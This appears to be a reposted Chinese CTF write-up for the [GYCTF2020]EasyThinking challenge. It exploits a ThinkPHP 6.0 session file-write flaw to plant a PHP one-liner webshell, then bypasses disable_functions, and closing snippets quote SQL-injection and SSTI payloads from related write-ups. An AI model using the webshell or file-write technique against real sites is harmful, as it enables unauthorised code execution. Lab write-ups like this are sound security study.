练[GYCTF2020]EasyThinking

2023-10-11 14:01
文章标签 gyctf2020 easythinking

本文主要是介绍练[GYCTF2020]EasyThinking,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

[GYCTF2020]EasyThinking

文章目录

      • [GYCTF2020]EasyThinking
      • 掌握知识
      • 解题思路
        • 还得靠大佬
        • 正式开始
      • 关键paylaod

在这里插入图片描述

掌握知识

thinkphpV6任意文件操作漏洞,代码分析写入session文件的参数,源码泄露,使用蚁剑插件disable_functions绕过终端无回显ret=127

解题思路

  1. 打开网站发现功能还挺完善,直接注册账号登录,看了看界面的功能,源码也没有泄露的hint。在找写入session文件内容的参数的时候了解到该题还存在网站源码泄露,输入www.zip可以看到网站结构

image-20231011124501518

还得靠大佬
  1. 根据https://www.cnblogs.com/yesec/p/12571861.html 该篇wp了解到写入session数据的关键参数就是搜索界面所搜索的内容,该参数会在后续的漏洞中将搜索的内容存入到构建的session文件中
public function search(){if (Request::isPost()){if (!session('?UID')){return redirect('/home/member/login');            }$data = input("post.");$record = session("Record");if (!session("Record")){session("Record",$data["key"]);}else{$recordArr = explode(",",$record);$recordLen = sizeof($recordArr);if ($recordLen >= 3){array_shift($recordArr);session("Record",implode(",",$recordArr) . "," . $data["key"]);    //注意这里,直接将搜索的内容写入了服务器生成的SESSION文件中return View::fetch("result",["res" => "There's nothing here"]);}}session("Record",$record . "," . $data["key"]);return View::fetch("result",["res" => "There's nothing here"]);}else{return View("search");}}
}
正式开始
  1. 现在步入正题,对于该网站没啥可下手的,根据题目提示是thinking,看界面猜测是thinkphp框架,输入错误的目录报错得到框架的版本为V6,一般涉及到thinkphp框架的ctf题,都和历史漏洞离不开关系了,直接搜索历史漏洞了解到任意文件操作的漏洞

image-20231011125050710

image-20231011125109083

  1. 根据文章介绍,需要修改session的值为一个文件名,必须满足32长度。关键的点在于要找到能写入session文件内容的参数,通过上面的了解就是搜索界面了。这样子前期工作就完成了,接下来只需要搜索内容就会把搜索的内容写入到/runtime/session/sess_文件名中,只要访问该目录就能访问到该文件,所以直接写入一句话木马进行蚁剑连接
修改登录界面的session值     全局共用登录界面的session,也是后续生成的session文件名,以php结尾,满足session解析的32位
写入session文件内容的参数    通过网站泄露的源码得知,搜索界面搜索的内容会直接写入到session文件中
蚁剑连接     搜索一句话木马写入到文件中,服务器会生成保存session文件的目录为  /runtime/session/sess_文件名
到此文件名可控  文件内容可控  文件路径已知  就很明了了

image-20231011130026130

image-20231011130034860

image-20231011130039872

  1. 访问生成的session文件.../runtime/session/sess_96d042989ab86ba2f8280c9ff8dc.php,发现回显序列化字符串即代表成功成功写入文件,漏洞利用成功,直接蚁剑连接

image-20231011130133778

image-20231011130218889

  1. 查看根目录发现flag需要使用readflag读取,很是眼熟啊,打开虚拟终端,果然命令执行不会成功,回显ret=127,继续使用之前用到的蚁剑插件disable_functions,进行绕过,需要梯子下载

image-20231011130335836

image-20231011130345804

image-20231011130430841

  1. 寻找一个符合版本的模式,直接点击开始,成功绕过会弹出一个虚拟终端界面,在新终端中就能执行命令了,不会再有限制,直接运行readflag,拿下flag

image-20231011130600700

image-20231011130606046

关键paylaod

96d042989ab86ba2f8280c9ff8dc.php
<?php eval($_POST[a]);?>
/runtime/session/sess_96d042989ab86ba2f8280c9ff8dc.php

这篇关于练[GYCTF2020]EasyThinking的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/188550

相关文章

[GYCTF2020]Ezsqli ---不会编程的崽

又是sql新题型哦。继续收集! 既然知道是sql注入就不墨迹了。初步判断盲注,判断盲注的方发不用说了吧,然后fuzz一下,information被过滤了。再次可以判断为盲注与无列名注入。 管他有列名还是无列名,先找到表。由于information被过滤了。可以用以下来代替sys.x$schema_flattened_keys sys.schema_table_statistics_wit

[GYCTF2020]EasyThinking --不会编程的崽

看标题就知道,这大概率是关于thinkphp的题目。先尝试错误目录使其报错查看版本号 thinkphp v6.0.0,在网上搜索一下,这个版本有一个任意文件上传漏洞。参考以下文章。 https://blog.csdn.net/god_zzZ/article/details/104275241 先注册一个账户,登录时顺手抓包。 修改phpsessid=1234567123456712

[GYCTF2020]Ezsqli1

打开环境,下面有个提交表单 提交1,2有正确的查询结果,3以后都显示Error Occured When Fetch Result. 题目是sql,应该考察的是sql注入 简单fuzz一下 发现information_schema被过滤了,猜测是盲注了。 测试发现只要有东西加上and或者or都会被检测 试一下|| 发现可以,再测试一下substr 可以用,写个脚本爆

[GYCTF2020]Blacklist 强网杯随便注

强网杯随便注 先测试 字符型 1' or '1'='1 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); 过滤了select 先看表,看列 堆叠注入 payload: 1';show tables;%23 1';show columns from `19198109311

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__['__i''mport__']('so'[::-1])['p''open']("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\

web:[GYCTF2020]Blacklist

题目 点开靶机,页面显示为 查看源码 没有其他线索 先提交1试一下 猜测是sql注入,先测试 同时注意到url 提交为3-1,发现页面回显为空白 可以判断为字符型注入 输入select,看是否存在回显 回显了黑名单限制的关键字 但是发现没有限制关键字show,通过堆叠注入查数据库名 构造payload 1';show databases

从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击

nodejs HTTP拆分攻击 nodejs 8.12 Node.js API 文档 当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击 原理 Unicode原理 对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字

buuctf_练[GYCTF2020]FlaskApp

[GYCTF2020]FlaskApp 文章目录 [GYCTF2020]FlaskApp常用绕过方法掌握知识解题思路解题一 -- 计算pin码解题二 -- 拼接绕过 执行命令 关键paylaod 常用绕过方法 ssti详解与例题以及绕过payload大全_ssti绕过空格_HoAd’s blog的博客-CSDN博客 CTF 对SSTI的一些总结 - FreeBuf网络安全

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入

https://www.cnblogs.com/h0cksr/p/16189749.html https://www.gem-love.com/ctf/1782.html 说好的ez.... 我们开始吧 首先就直接进行抓包 看回显  然后开始正常的测试 报错了 这里的 or过滤的绕过 我们可以使用 ^ 或者 || 我喜欢用 || 所以继续构造 发现了 就是目前这种

buuctf-[GYCTF2020]Blacklist sql堆叠注入

这题我一开始还以为是rce,但是看到注入框内写了1,那就肯定是sql 提交1 1' 报错,更加确定是sql  1' order by 2 -- + 说明是两列 1' union select 1,# 发现select被过滤了 这里我想起了之前做的强网杯的随便住,也是被过滤了,然后使用的堆叠注入 1';show tables -- +  1'; show columns